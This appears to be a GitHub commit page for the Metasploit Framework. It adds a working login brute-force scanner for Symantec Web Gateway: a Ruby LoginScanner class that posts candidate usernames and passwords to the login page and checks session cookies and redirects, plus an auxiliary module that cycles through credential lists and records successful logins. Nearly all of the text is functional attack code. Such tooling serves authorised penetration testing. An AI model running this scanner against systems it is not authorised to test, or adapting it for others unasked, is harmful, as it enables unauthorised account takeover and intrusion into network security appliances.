Skip to content

Commit 1226b36

Browse files
committed
Land rapid7#4945, @wchen-r7's login scanner for Symantec web gateway
2 parents 8cec8e6 + 2f35fcf commit 1226b36

File tree

4 files changed

+440
-0
lines changed

4 files changed

+440
-0
lines changed
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
2+
require 'metasploit/framework/login_scanner/http'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class SymantecWebGateway < HTTP
9+
10+
DEFAULT_PORT = 443
11+
PRIVATE_TYPES = [ :password ]
12+
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
13+
14+
15+
# Checks if the target is Symantec Web Gateway. The login module should call this.
16+
#
17+
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
18+
def check_setup
19+
login_uri = normalize_uri("#{uri}/spywall/login.php")
20+
res = send_request({'uri'=> login_uri})
21+
22+
if res && res.body.include?('Symantec Web Gateway')
23+
return true
24+
end
25+
26+
false
27+
end
28+
29+
30+
# Sends a HTTP request with Rex
31+
#
32+
# @param (see Rex::Proto::Http::Request#request_raw)
33+
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
34+
# @return [Rex::Proto::Http::Response] The HTTP response
35+
def send_request(opts)
36+
res = nil
37+
cli = Rex::Proto::Http::Client.new(host, port,
38+
{
39+
'Msf' => framework,
40+
'MsfExploit' => framework_module
41+
},
42+
ssl,
43+
ssl_version,
44+
proxies
45+
)
46+
configure_http_client(cli)
47+
begin
48+
cli.connect
49+
req = cli.request_cgi(opts)
50+
res = cli.send_recv(req)
51+
rescue ::Errno::EPIPE, ::Timeout::Error => e
52+
# We are trying to mimic the same type of exception rescuing in
53+
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
54+
# raise Rex::ConnectionError so the #attempt_login can return the error message back
55+
# to the login module.
56+
raise Rex::ConnectionError, e.message
57+
ensure
58+
cli.close
59+
end
60+
61+
res
62+
end
63+
64+
65+
# Returns the latest sid from Symantec Web Gateway.
66+
#
67+
# @returns [String] The PHP Session ID for Symantec Web Gateway login
68+
def get_last_sid
69+
@last_sid ||= lambda {
70+
# We don't have a session ID. Well, let's grab one right quick from the login page.
71+
# This should probably only happen once (initially).
72+
login_uri = normalize_uri("#{uri}/spywall/login.php")
73+
res = send_request({'uri' => login_uri})
74+
75+
return '' unless res
76+
77+
cookies = res.get_cookies
78+
@last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
79+
}.call
80+
end
81+
82+
83+
# Actually doing the login. Called by #attempt_login
84+
#
85+
# @param username [String] The username to try
86+
# @param password [String] The password to try
87+
# @return [Hash]
88+
# * :status [Metasploit::Model::Login::Status]
89+
# * :proof [String] the HTTP response body
90+
def get_login_state(username, password)
91+
# Prep the data needed for login
92+
sid = get_last_sid
93+
protocol = ssl ? 'https' : 'http'
94+
peer = "#{host}:#{port}"
95+
login_uri = normalize_uri("#{uri}/spywall/login.php")
96+
97+
res = send_request({
98+
'uri' => login_uri,
99+
'method' => 'POST',
100+
'cookie' => sid,
101+
'headers' => {
102+
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
103+
},
104+
'vars_post' => {
105+
'USERNAME' => username,
106+
'PASSWORD' => password,
107+
'loginBtn' => 'Login' # Found in the HTML form
108+
}
109+
})
110+
111+
unless res
112+
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
113+
end
114+
115+
# After login, the application should give us a new SID
116+
cookies = res.get_cookies
117+
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
118+
@last_sid = sid # Update our SID
119+
120+
if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank?
121+
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
122+
end
123+
124+
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
125+
end
126+
127+
128+
# Attempts to login to Symantec Web Gateway. This is called first.
129+
#
130+
# @param credential [Metasploit::Framework::Credential] The credential object
131+
# @return [Result] A Result object indicating success or failure
132+
def attempt_login(credential)
133+
result_opts = { credential: credential }
134+
135+
begin
136+
result_opts.merge!(get_login_state(credential.public, credential.private))
137+
rescue ::Rex::ConnectionError => e
138+
# Something went wrong during login. 'e' knows what's up.
139+
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
140+
end
141+
142+
Result.new(result_opts)
143+
end
144+
145+
end
146+
end
147+
end
148+
end
149+

lib/msf/core/auxiliary/auth_brute.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -540,6 +540,13 @@ def userpass_sleep_interval
540540
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
541541
end
542542

543+
# See #print_brute
544+
def vprint_brute(opts={})
545+
if datastore['VERBOSE']
546+
print_brute(opts)
547+
end
548+
end
549+
543550
# Provides a consistant way to display messages about AuthBrute-mixed modules.
544551
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
545552
#
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/login_scanner/symantec_web_gateway'
8+
require 'metasploit/framework/credential_collection'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::AuthBrute
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'Symantec Web Gateway Login Utility',
20+
'Description' => %q{
21+
This module will attempt to authenticate to a Symantec Web Gateway
22+
},
23+
'Author' => [ 'sinn3r' ],
24+
'License' => MSF_LICENSE,
25+
'DefaultOptions' =>
26+
{
27+
'RPORT' => 443,
28+
'SSL' => true,
29+
'SSLVersion' => 'TLS1'
30+
}
31+
))
32+
end
33+
34+
35+
# Initializes CredentialCollection and SymantecWebGateway
36+
def init(ip)
37+
@cred_collection = Metasploit::Framework::CredentialCollection.new(
38+
blank_passwords: datastore['BLANK_PASSWORDS'],
39+
pass_file: datastore['PASS_FILE'],
40+
password: datastore['PASSWORD'],
41+
user_file: datastore['USER_FILE'],
42+
userpass_file: datastore['USERPASS_FILE'],
43+
username: datastore['USERNAME'],
44+
user_as_pass: datastore['USER_AS_PASS']
45+
)
46+
47+
@scanner = Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
48+
configure_http_login_scanner(
49+
host: ip,
50+
port: datastore['RPORT'],
51+
cred_details: @cred_collection,
52+
stop_on_success: datastore['STOP_ON_SUCCESS'],
53+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
54+
connection_timeout: 5
55+
)
56+
)
57+
end
58+
59+
60+
# Reports a good login credential
61+
def do_report(ip, port, result)
62+
service_data = {
63+
address: ip,
64+
port: port,
65+
service_name: 'http',
66+
protocol: 'tcp',
67+
workspace_id: myworkspace_id
68+
}
69+
70+
credential_data = {
71+
module_fullname: self.fullname,
72+
origin_type: :service,
73+
private_data: result.credential.private,
74+
private_type: :password,
75+
username: result.credential.public,
76+
}.merge(service_data)
77+
78+
login_data = {
79+
core: create_credential(credential_data),
80+
last_attempted_at: DateTime.now,
81+
status: result.status,
82+
proof: result.proof
83+
}.merge(service_data)
84+
85+
create_credential_login(login_data)
86+
end
87+
88+
89+
# Attempts to login
90+
def bruteforce(ip)
91+
@scanner.scan! do |result|
92+
case result.status
93+
when Metasploit::Model::Login::Status::SUCCESSFUL
94+
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
95+
do_report(ip, rport, result)
96+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
97+
vprint_brute :level => :verror, :ip => ip, :msg => result.proof
98+
invalidate_login(
99+
address: ip,
100+
port: rport,
101+
protocol: 'tcp',
102+
public: result.credential.public,
103+
private: result.credential.private,
104+
realm_key: result.credential.realm_key,
105+
realm_value: result.credential.realm,
106+
status: result.status,
107+
proof: result.proof
108+
)
109+
when Metasploit::Model::Login::Status::INCORRECT
110+
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
111+
invalidate_login(
112+
address: ip,
113+
port: rport,
114+
protocol: 'tcp',
115+
public: result.credential.public,
116+
private: result.credential.private,
117+
realm_key: result.credential.realm_key,
118+
realm_value: result.credential.realm,
119+
status: result.status,
120+
proof: result.proof
121+
)
122+
end
123+
end
124+
end
125+
126+
127+
# Start here
128+
def run_host(ip)
129+
init(ip)
130+
unless @scanner.check_setup
131+
print_brute :level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway'
132+
return
133+
end
134+
135+
bruteforce(ip)
136+
end
137+
138+
end

0 commit comments

Comments
 (0)